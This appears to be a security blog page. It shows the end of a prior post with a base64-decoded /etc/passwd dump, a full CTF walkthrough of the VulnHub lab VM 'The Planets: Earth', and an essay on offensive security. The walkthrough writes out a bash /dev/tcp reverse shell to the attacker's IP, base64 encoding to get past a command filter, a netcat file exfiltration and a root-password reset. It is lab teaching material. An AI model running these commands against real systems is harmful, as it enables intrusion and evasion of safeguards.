L3Vzci9zYmluL25vbG9naW5cbmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpblxubm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpblxuX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luXG5jaGFsbGVuZ2U6eDoxMDAwOjEwMDA6Oi9ob21lL2NoYWxsZW5nZTovYmluL3NoXG4ifQ==" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nchallenge:x:1000:1000::/home/challenge:/bin/sh\n"} 

That’s all there is. I hope you enjoyed the room. If this helped or you were able to solve or work through it a different way, let me know.

Capture the Flag

VulnHub Walkthrough – The Planets: Earth

The Planet EarthPreviously, we took a look at an intentionally vulnerable VM from VulnHub called The Planets: Mercury. This time, I’m going to tackle another one in the same series by the same author called The Planets: Earth. You can download the file to play along from here. Setup will actually be almost the same as it was in the Mercury post, so if you need help getting started, check back there.

I skipped planetary order because Venus was labelled as a “Medium” box and Earth is considered on the harder side of easy, so I wanted to step this up slowly as we go. As it turns out, this box definitely poses some challenges of its own. That isn’t to say that I didn’t miss an easier path, but I went in the most straightforward way I could find. I also had a misstep or two, and I’ll point out where I went down a trail without taking you there myself.

After I got the box running and figured out its IP address like last time, I ran the following command to figure out what was going on. sudo nmap -p- -sC -sV -T4 192.168.56.104 I had to use sudo because running -sV with nmap requires it. -p- scans all ports, -sC runs default scripts, -sV checks for versions, -T4 makes it run with more threads to get done faster.

sudo nmap -p- -sC -sV -T4 192.168.56.104

Not shown: 65512 filtered tcp ports (no-response), 20 filtered tcp ports (admin-prohibited)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey: 
|   256 5b:2c:3f:dc:8b:76:e9:21:7b:d0:56:24:df:be:e9:a8 (ECDSA)
|_  256 b0:3c:72:3b:72:21:26:ce:3a:84:e8:41:ec:c8:f8:41 (ED25519)
80/tcp  open  http     Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
|_http-title: Earth Secure Messaging
443/tcp open  ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
| ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space
| Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local

From our results, we can see that 3 ports are open: 22, 80, and 443. Those are the ports for SSH, HTTP, and HTTPS respectively. Just like last time, we save port 22/SSH for later, as that is often mid-to-endgame stuff in capture the flag boxes if web servers are present. I note that there are some DNS names to consider: earth.local and terratest.earth.local. Because 2 sites are potentially being hosted on one box, we’ll need to add those names to our hosts file so that we can use them in the web browser to get the sites we want.

I type the command sudo nano /etc/hosts in my Kali Linux virtual machine and then add this line to the bottom. After that, I save and exit and from now on, I can just refer to the box by those easier names rather than the IP address.

192.168.56.104  earth.local     terratest.earth.local

When I go to http://earth.local, it brings up the “Earth Secure Messaging Service”.
The default earth.local site

When I enter a message of a with a key of a, I get the same result (00). When I enter a message of a with a key of b, I get a different result (03). I made a note of this and checked the source of the HTML page and didn’t find anything of value.
My resulting messages

Going to https://terratest.earth.local/ brings up “Test site, please ignore.” in plain text, and the source is the same, so that’s not helpful for gaining a foothold. I will note that if you go to the http:// version of the terratest site, it just shows you the earth.local messaging site.

When in doubt, enumerate! Let’s use gobuster to see what we can see! For our command, dir means directory mode –url tells gobuster what URL to enumerate -w is the wordlist to use, and -k tells it to not do the SSL validation check (necessary here because this box has a self-signed cert and the check fails).

gobuster dir --url https://earth.local -w /usr/share/wordlists/dirb/common.txt -k
/admin                (Status: 301) [Size: 0] [--> /admin/]
/cgi-bin/             (Status: 403) [Size: 199]

gobuster dir --url https://terratest.earth.local -w /usr/share/wordlists/dirb/common.txt -k
/.hta                 (Status: 403) [Size: 199]
/.htaccess            (Status: 403) [Size: 199]
/.htpasswd            (Status: 403) [Size: 199]
/cgi-bin/             (Status: 403) [Size: 199]
/index.html           (Status: 200) [Size: 26]
Progress: 2933 / 4615 (63.55%)[ERROR] Get "https://terratest.earth.local/nokia": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/robots.txt           (Status: 200) [Size: 521]
Progress: 4614 / 4615 (99.98%)

So, the regular site has an /admin page and the test site has a robots.txt file and maybe a /nokia directory. However, the /nokia was just a hiccup from the tool as I got an immediate 404 when trying to go there. Let’s take a look at the robots.txt at https://terratest.earth.local/robots.txt

User-Agent: *
Disallow: /*.asp
Disallow: /*.aspx
Disallow: /*.bat
Disallow: /*.c
Disallow: /*.cfm
Disallow: /*.cgi
Disallow: /*.com
Disallow: /*.dll
Disallow: /*.exe
Disallow: /*.htm
Disallow: /*.html
Disallow: /*.inc
Disallow: /*.jhtml
Disallow: /*.jsa
Disallow: /*.json
Disallow: /*.jsp
Disallow: /*.log
Disallow: /*.mdb
Disallow: /*.nsf
Disallow: /*.php
Disallow: /*.phtml
Disallow: /*.pl
Disallow: /*.reg
Disallow: /*.sh
Disallow: /*.shtml
Disallow: /*.sql
Disallow: /*.txt
Disallow: /*.xml
Disallow: /testingnotes.*

I’m not sure why testingnotes’ extension got left off, maybe to delay us? I tried going to different extensions: .txt, .html, .htm, .xml, and even no extension, but only .txt returned anything. Here’s what we got

Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

First note, this seems to also suggest a testdata.txt file might be available and https://terratest.earth.local/testdata.txt gives us this

According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

Okay, that was some fast and furious fact finding. Let’s take stock of what we know now or might know.

Potential Username: terra
Encryption Used: XOR

If you already know everything there is to know about XOR, you can skip ahead a bit. If not, I’m going to do a little explaining about what I’m about to do. When you use XOR, it doesn’t matter which is the message and which is the key, it is like multiplication or addition in that the answer will be the same. That is also true backwards. If you take the answer and XOR the Message, you get the Key. If you take the answer and XOR the Key, you get the Message. Let’s see this in action with CyberChef. Using CyberChef is outside of this blog post (maybe a future one!), but take a look at what happens when I use a as Message and b as Key and then use b as Message and a as Key. No matter what, it comes out to 03.
An XOR Proof of Concept for Encryption

Now, what happens when 03 is passed in and a is the key? We get b as the message. And when 03 is passed in as the result and b is the key? a shows as the message.
An XOR Proof of Concept for Decryption

It looks like we have one of the pieces (either the Key or the Message) testdata.txt file. We also have the resulting ciphertext from the earth.local site. If I plug it in just like the proof of concept, I should get the other piece.
XOR Missing Piece Found

We get the string earthclimatechangebad4humans repeated over and over again.

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

Because of the way it is repeated and cut off, that probably means earthclimatechangebad4humans was the key and “According to radiometric dating…” was the message. Let’s try again with the same ciphertext input but only earthclimatechangebad4humans as the key. When we do, we get back the text from testdata.txt perfectly.
Decrypting with only the 28 character passphrase

Note: I tried the other messages that were on the page when we first got there, but only the initial message decrypted with that key (or that message). So no further gold to mine there. The note mentioned that terra was a username for the admin portal and I had forgotten about it until now. If the key isn’t the password, we’ll have to try SQL Injection or credential stuffing. So when we go to https://earth.local/admin, we get a link to login. Clicking it reveals a form. Here is what that looks like.

The Admin Login Page

Fortunately, terra:earthclimatechangebad4humans were the login credentials we need and we are presented with the admin page, ripe for some good old command issuing. whoami comes back apache.
Admin Login Success

Let’s try to find the user flag, which for Sir Proton, seems to usually be named user_flag.txt. I asked the input to find that file, got a path, then used cat to output the file. Flag 1 Complete!

find / -name "user_flag.txt"
Command output: /var/earth_web/user_flag.txt
cat /var/earth_web/user_flag.txt
Command output: [user_flag_3353b67d6437f07ba7d34afd7d2fc27d] 

Can I find the root flag the same way?

find / -name "root_flag.txt"
Command output: 

Drat! Gonna have to work at this the hard way. Can I SSH into the box with these credentials? No, I cannot. Okay, that means we have to use this admin portal to do a reverse shell. Let me see what we have on the server, do we have bash?

which bash
Command output: /usr/bin/bash

Okay, bash is here and usable, so let’s do a bash-based reverse shell. If we go to RevShells.com, we can find all we need to do it. Just fill in what you want and you get the command to issue on your local machine and what command to execute on the target to call to you.
My RevShells for this box

I issued those commands and got this

nc -lvnp 4444 # On the Kali Box
bash -i >& /dev/tcp/192.168.56.103/4444 0>&1 # In the admin CLI text box

Site Response: Remote connections are forbidden. 

D’OH! They must have something that parses the text coming in looking for IPs or something. Let’s see if we hide the command with base64 if that gets it done:

echo "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1" | base64 # On Kali Machine
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMy80NDQ0IDA+JjEK # Result
nc -lvnp 4444 # On Kali Box
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMy80NDQ0IDA+JjEK" | base64 -d | bash # In the admin CLI text box

#Back on Kali...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.104] 53594
bash: cannot set terminal process group (832): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ 

whoami
apache

Yahtzee! I tried sudo -l like we did in Mercury to find what we could execute as sudo, but I don’t know apache‘s password, so that doesn’t work. The next step of low hanging fruit is to check and see if the SUID bit is set on any files that let me execute them as if I were the owner. I asked my buddy ChatGPT how to do that and got this command

find / -perm /4000 -type f 2>/dev/null
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/reset_root
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1

Well, reset_root sounds promising. Let me call it

reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

Okay. What is it checking exactly? I can’t easily tell on this box where I’m a super low privileged user, so I need to get this to my own box. Python was available, so I copied the binary to /tmp and tried python3 -m http.server from /tmp and tried to connect. It didn’t work. I tried a bunch of ports and none of it worked. So, I asked ChatGPT again and explained what I needed and my robot friend suggested I used netcat on both ends. Here is what worked:

nc -lvp 9001 > reset_root # On Kali
listening on [any] 9001 ... # Kali Response

nc 192.168.56.103 9001 < /usr/bin/reset_root # In my reverse shell terminal

connect to [192.168.56.103] from earth.local [192.168.56.104] 54190 # Kali Terminal updated with this message

And I had a file locally. I did a sudo chmod +x ./reset_root so I could run it. I asked ChatGPT and it suggested using a few programs to see what was being checked, two of them were strace and ltrace. When I tried to use strace to see what it was doing...

strace ./reset_root     
execve("./reset_root", ["./reset_root"], 0x7ffd2af42c30 /* 55 vars */) = 0
brk(NULL)                               = 0x67b000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff2fff5d000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=114611, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 114611, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ff2fff41000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P~\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
newfstatat(3, "", {st_mode=S_IFREG|0755, st_size=1933688, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 1985936, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ff2ffd5c000
mmap(0x7ff2ffd82000, 1404928, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x26000) = 0x7ff2ffd82000
mmap(0x7ff2ffed9000, 348160, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x17d000) = 0x7ff2ffed9000
mmap(0x7ff2fff2e000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d1000) = 0x7ff2fff2e000
mmap(0x7ff2fff34000, 52624, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ff2fff34000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff2ffd59000
arch_prctl(ARCH_SET_FS, 0x7ff2ffd59740) = 0
set_tid_address(0x7ff2ffd59a10)         = 3872
set_robust_list(0x7ff2ffd59a20, 24)     = 0
rseq(0x7ff2ffd5a060, 0x20, 0, 0x53053053) = 0
mprotect(0x7ff2fff2e000, 16384, PROT_READ) = 0
mprotect(0x403000, 4096, PROT_READ)     = 0
mprotect(0x7ff2fff8f000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7ff2fff41000, 114611)          = 0
newfstatat(1, "", {st_mode=S_IFCHR|0600, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0
getrandom("\xc4\xad\x58\x5b\x45\x55\x52\x3f", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x67b000
brk(0x69c000)                           = 0x69c000
write(1, "CHECKING IF RESET TRIGGERS PRESE"..., 38CHECKING IF RESET TRIGGERS PRESENT...
) = 38
access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (No such file or directory)
access("/dev/shm/Zw7bV9U5", F_OK)       = -1 ENOENT (No such file or directory)
access("/tmp/kcM0Wewe", F_OK)           = -1 ENOENT (No such file or directory)
write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
) = 44
exit_group(0)                           = ?
+++ exited with 0 +++

Well, that's a lot. The answer is probably in there, but let's see if ltrace is more concise.

ltrace ./reset_root
puts("CHECKING IF RESET TRIGGERS PRESE"...CHECKING IF RESET TRIGGERS PRESENT...
)              = 38
access("/dev/shm/kHgTFI5G", 0)                           = -1
access("/dev/shm/Zw7bV9U5", 0)                           = -1
access("/tmp/kcM0Wewe", 0)                               = -1
puts("RESET FAILED, ALL TRIGGERS ARE N"...RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
)              = 44
+++ exited (status 0) +++

Well, that's easier to see. And I can see those 3 access() lines were at the end of the strace output also. I just didn't know what to look for. So, I *THINK* that reset_root is just looking for those files to exist to work. So back in my reverse shell, I issued these four commands to make the three files and then run reset_root again.

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth

Okay. So, can I switch to root and get the flag? Yep!

su root # Earth as password when prompted
whoami
root
cd /root
ls
anaconda-ks.cfg
root_flag.txt
cat root_flag.txt

              _-o#&&*''''?d:>b\_
          _o/"`''  '',, dMF9MMMMMHo_
       .o&#'        `"MbHMMMMMMMMMMMHo.
     .o"" '         vodM*$&&HMMMMMMMMMM?.
    ,'              $M&ood,~'`(&##MMMMMMH\
   /               ,MMMMMMM#b?#bobMMMMHMMML
  &              ?MMMMMMMMMMMMMMMMM7MMM$R*Hk
 ?$.            :MMMMMMMMMMMMMMMMMMM/HMMM|`*L
|               |MMMMMMMMMMMMMMMMMMMMbMH'   T,
$H#:            `*MMMMMMMMMMMMMMMMMMMMb#}'  `?
]MMH#             ""*""""*#MMMMMMMMMMMMM'    -
MMMMMb_                   |MMMMMMMMMMMP'     :
HMMMMMMMHo                 `MMMMMMMMMT       .
?MMMMMMMMP                  9MMMMMMMM}       -
-?MMMMMMM                  |MMMMMMMMM?,d-    '
 :|MMMMMM-                 `MMMMMMMT .M|.   :
  .9MMM[                    &MMMMM*' `'    .
   :9MMk                    `MMM#"        -
     &M}                     `          .-
      `&.                             .
        `~,   .                     ./
            . _                  .-
              '`--._,dd###pp=""'

Congratulations on completing Earth!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_b0da9554d29db2117b02aa8b66ec492e]

We have achieved Root and Captured the Flag

There we have it. As far as I can tell, SSH being open was a rabbit hole and so were the other messages. I'm not sure if there was a better way to tell what reset_root was checking for, but if you were able to follow along and learn something, that's great! If you have any tips about how you may have solved this box differently, let me know.

InfoSec

Understanding Offensive Security

A robot arm holding a robotic sword over a laptop representing Offensive SecurityAt first blush, Offensive Security can seem like an oxymoron or a misnomer. Are we saying that the best defense is a good offense? Not really. When people say that in the traditional sense, they usually mean that by attacking, you don’t give your opponent a chance to attack you, therefore there is less for you to defend against. That’s not what we’re doing here. We are not out attacking the “bad guys” in an attempt to tie up their resources to keep them from attacking us. What we’re really talking about is attacking ourselves internally or through a third party vendor.

Offensive security refers to proactive measures taken to identify, assess, and mitigate vulnerabilities within a system before malicious hackers can exploit them. Unlike defensive security, which focuses on protection and prevention, offensive security involves simulating attacks to uncover weaknesses and bolster defenses. This approach is also known as ethical hacking or penetration testing.

The hacking is “ethical”, because the people performing the exercise have permission to do it and share all of their results with the target and don’t keep, use, or share any vulnerabilities or data they might uncover with the outside world. Penetration testing (pen testing) is a process that involves simulating cyberattacks to identify vulnerabilities in a system, network, or application. Ethical hackers use the same techniques as malicious actors to find and fix security flaws.

Taking this up a notch is something called Red Teaming. Red teaming is an advanced form of penetration testing where a group of security professionals, known as the red team, emulate real-world cyberattacks over an extended period. Their goal is to test the organization’s detection and response capabilities. These groups perform vulnerability assessments, which involves systematically examining systems for vulnerabilities, typically using automated tools. While less thorough than penetration testing, vulnerability assessments provide a broad overview of potential security issues. In addition, offensive security professionals will often use social engineering attacks to exploit human psychology rather than technical vulnerabilities. Offensive security professionals also often conduct phishing simulations and other tactics to test an organization’s security awareness.

So that explains a little of what these teams do, but let’s consider a little more of the why.

  • Proactive Defense: Offensive security allows organizations to identify and address vulnerabilities before they can be exploited by attackers. By staying one step ahead, companies can significantly reduce the risk of data breaches and other security incidents.
  • Improving Security Posture: Regular penetration testing and vulnerability assessments provide actionable insights that help organizations strengthen their security posture. This ongoing process ensures that defenses evolve in response to emerging threats.
  • Compliance and Regulatory Requirements: Many industries have strict compliance and regulatory standards that mandate regular security testing. Offensive security practices help organizations meet these requirements and avoid potential fines and penalties. I can tell you that in several audits and compliance engagements that I’ve had recently that they’ve wanted evidence that we regularly conduct offensive security operations against our company.
  • Incident Response Preparedness: Red teaming exercises and other offensive security activities help organizations test and refine their incident response plans. This ensures that in the event of a real attack, the organization is prepared to respond quickly and effectively.

Ethical Hackers (or White Hat Hackers) are the backbone of offensive security. We’re talking about individuals who have the skillset to “be the bad guys” (Black Hat Hackers), but instead earn a living helping others be prepared. The important thing, though, is that you don’t have to be born a hacker, spend time in the seedy underbelly of the internet, nor wear all black to go into this field. There is a lot of reputable training available and some respected certifications that you can get that can help your employment chances in the field (CEH and OSCP to name two).

If you’re interested, give it a shot. There is almost no barrier to entry. Sites like TryHackMe and HackTheBox have free tiers and there are tons of YouTube channels offering training and walkthroughs and advice. I plan on spending a fair amount of time in future posts talking about various security topics – often from the Offensive Security angle – and working through some of the problems available to us on places like TryHackMe, HackTheBox, and VulnHub so that I can also give back a little and add one more resource to the pile in gratitude to what has been given to me, so stay tuned for that.